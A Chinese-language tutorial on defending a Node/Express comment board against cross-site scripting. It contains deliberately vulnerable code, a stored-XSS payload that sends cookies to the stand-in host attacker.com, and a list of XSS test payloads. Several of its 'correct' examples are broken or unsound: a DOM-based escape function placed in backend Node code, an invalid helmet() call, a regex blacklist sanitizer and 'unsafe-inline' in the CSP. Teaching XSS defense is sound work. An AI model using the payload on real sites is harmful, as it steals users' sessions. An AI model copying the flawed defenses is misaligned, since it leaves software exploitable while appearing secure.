防XSS案例

wen java案例 2

本文目录导读:

防XSS案例

  1. XSS攻击漏洞示例(错误示范)
  2. 安全防御方案(正确示范)
  3. 测试用例
  4. 安全配置清单
  5. 最佳实践总结

我来为你提供一个完整的防XSS(跨站脚本攻击)案例,从攻击场景到防御方案,全面讲解。

XSS攻击漏洞示例(错误示范)

存储型XSS - 留言板场景

// ❌ 有漏洞的代码
// 后端Node.js + Express
app.post('/api/comment', (req, res) => {
    const comment = req.body.comment;
    // 直接存储用户输入,未做任何处理
    db.save({ comment: comment });
    res.json({ success: true });
});
app.get('/api/comments', (req, res) => {
    const comments = db.getAll();
    // 直接返回给前端
    res.json(comments);
});
<!-- ❌ 有漏洞的前端代码 -->
<div id="comments">
    <!-- 直接插入HTML -->
</div>
<script>
    fetch('/api/comments')
        .then(res => res.json())
        .then(comments => {
            const container = document.getElementById('comments');
            comments.forEach(c => {
                // 危险操作!直接插入HTML
                container.innerHTML += `<div class="comment">${c.comment}</div>`;
            });
        });
</script>

攻击效果:攻击者提交评论:

<script>
    // 窃取用户Cookie
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
    // 或重定向到钓鱼网站
    // window.location = 'https://phishing-site.com';
</script>
<img src="x" onerror="alert('XSS攻击成功')">

安全防御方案(正确示范)

1 后端防御层

// ✅ 安全的后端代码
const express = require('express');
const xss = require('xss'); // 使用xss库
const helmet = require('helmet');
const app = express();
app.use(helmet()); // 设置安全HTTP头
// HTML转义函数
function escapeHTML(str) {
    const div = document.createElement('div');
    div.textContent = str;
    return div.innerHTML;
}
// 或者使用专门的XSS过滤库
const xssOptions = {
    whiteList: {
        'a': ['href', 'title', 'target'],
        'p': [],
        'br': [],
        'strong': [],
        'em': []
    },
    stripIgnoreTag: true,
    onTagAttr: (tag, name, value, isWhiteAttr) => {
        if (name === 'href' && value.startsWith('javascript:')) {
            return '';
        }
    }
};
app.post('/api/comment', (req, res) => {
    // 方案1:简单转义
    // const cleanComment = escapeHTML(req.body.comment);
    // 方案2:使用xss库白名单过滤
    const cleanComment = xss(req.body.comment, xssOptions);
    // 方案3:使用DOMPurify(推荐)
    // const cleanComment = DOMPurify.sanitize(req.body.comment);
    db.save({ comment: cleanComment });
    res.json({ success: true });
});

2 前端安全渲染方案

<!-- ✅ 安全的前端代码 - 使用textContent而非innerHTML -->
<div id="comments"></div>
<script>
    // 方法1:使用textContent(推荐)
    fetch('/api/comments')
        .then(res => res.json())
        .then(comments => {
            const container = document.getElementById('comments');
            comments.forEach(c => {
                const div = document.createElement('div');
                div.className = 'comment';
                div.textContent = c.comment; // ✅ 自动转义,安全
                container.appendChild(div);
            });
        });
</script>
// 方法2:安全的HTML模板(不推荐但提供方案)
function safeRender() {
    const userInput = '<script>alert("xss")</script>';
    // ❌ 错误
    // const dangerous = `<div>${userInput}</div>`;
    // ✅ 正确 - 使用escape函数
    const escapeHtml = (unsafe) => {
        return unsafe
            .replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;")
            .replace(/"/g, "&quot;")
            .replace(/'/g, "&#039;");
    };
    const safe = `<div>${escapeHtml(userInput)}</div>`;
    return safe;
}

3 前端框架的安全实践

// ✅ React安全写法
import DOMPurify from 'dompurify';
function Comment({ comment }) {
    // 正确方式:React自动转义
    return <div>{comment}</div>; // ✅ React默认转义
    // 错误方式:使用dangerouslySetInnerHTML
    // return <div dangerouslySetInnerHTML={{ __html: comment }} />; // ❌ 危险
}
// ✅ Vue安全写法
Vue.component('comment', {
    template: `
        <div>
            <!-- ✅ 正确:自动转义 -->
            {{ comment }}
            <!-- ❌ 错误:使用v-html(仅在可信内容时使用) -->
            <!-- <div v-html="comment"></div> -->
        </div>
    `
});

4 综合防御方案

// 完整的XSS防御类
class XSSProtection {
    constructor() {
        this.blacklist = ['script', 'style', 'iframe', 'object', 'embed'];
    }
    // 输入验证
    validateInput(input) {
        if (typeof input !== 'string') return '';
        // 移除危险标签
        let safe = input;
        this.blacklist.forEach(tag => {
            const regex = new RegExp(`<${tag}[^>]*>.*?<\\/${tag}>`, 'gi');
            safe = safe.replace(regex, '');
        });
        // 移除事件属性
        safe = safe.replace(/\son\w+\s*=/gi, ' data-safe-');
        // 移除javascript:协议
        safe = safe.replace(/href\s*=\s*["']?\s*javascript:/gi, '#');
        // HTML实体编码
        safe = this.encodeHTMLEntities(safe);
        return safe;
    }
    // HTML实体编码
    encodeHTMLEntities(str) {
        const entities = {
            '&': '&amp;',
            '<': '&lt;',
            '>': '&gt;',
            '"': '&quot;',
            "'": '&#39;',
            '/': '&#x2F;'
        };
        return str.replace(/[&<>"'/]/g, char => entities[char]);
    }
    // URL安全验证
    isValidURL(url) {
        const allowedProtocols = ['http:', 'https:', 'mailto:'];
        try {
            const parsed = new URL(url);
            return allowedProtocols.includes(parsed.protocol);
        } catch {
            return false;
        }
    }
    // 防止DOM clobbering
    preventDOMClobbering(html) {
        return html.replace(/id\s*=\s*["'](window|document|location)/gi, 'id="safe-$1"');
    }
}
// 使用示例
const protection = new XSSProtection();
const userInput = '<script>alert("XSS")</script>';
const safeInput = protection.validateInput(userInput);
console.log(safeInput); // 安全处理后的文本

测试用例

// 测试用例集合
const testCases = [
    {
        input: '<script>alert("XSS")</script>',
        description: '基础script标签'
    },
    {
        input: '<img src="x" onerror="alert(1)">',
        description: '事件处理器'
    },
    {
        input: '<a href="javascript:alert(1)">Click</a>',
        description: 'JavaScript协议'
    },
    {
        input: '<iframe src="https://evil.com"></iframe>',
        description: 'iframe注入'
    },
    {
        input: '"><svg onload="alert(1)">',
        description: 'SVG注入'
    },
    {
        input: '<div style="background:url(javascript:alert(1))">',
        description: 'CSS注入'
    }
];
// 测试防御效果
testCases.forEach(test => {
    const cleaned = protection.validateInput(test.input);
    console.log(`案例: ${test.description}`);
    console.log(`输入: ${test.input}`);
    console.log(`输出: ${cleaned}`);
    console.log('---');
});

安全配置清单

// 安全配置汇总
const securityConfig = {
    // CSP头配置
    contentSecurityPolicy: {
        directives: {
            'default-src': ["'self'"],
            'script-src': ["'self'", "'unsafe-inline'"], // 尽量避免unsafe-inline
            'style-src': ["'self'", "'unsafe-inline'"],
            'img-src': ["'self'", 'data:', 'https:'],
            'object-src': ["'none'"]
        }
    },
    // 其他安全头
    headers: {
        'X-Frame-Options': 'DENY',                       // 防止点击劫持
        'X-Content-Type-Options': 'nosniff',             // 防止MIME类型混淆
        'X-XSS-Protection': '1; mode=block',             // 启用浏览器XSS过滤
        'Referrer-Policy': 'strict-origin-when-cross-origin'
    }
};
// Express应用配置
app.use(helmet(contentSecurityPolicy: securityConfig.contentSecurityPolicy));
app.use(helmet(securityConfig.headers));

最佳实践总结

  1. 输入验证:永远不要信任用户输入,进行严格的验证和过滤
  2. 输出编码:在输出到HTML时进行适当的编码
  3. 使用安全API:优先使用textContent而非innerHTML
  4. CSP头:配置Content Security Policy限制资源加载
  5. 框架安全特性:利用React/Vue等框架的自动转义功能
  6. 安全库:使用DOMPurify、xss等成熟的安全库
  7. 定期审计:使用自动化工具进行安全扫描

通过以上多层防御措施,可以有效防止XSS攻击,保护用户数据和系统安全。

抱歉,评论功能暂时关闭!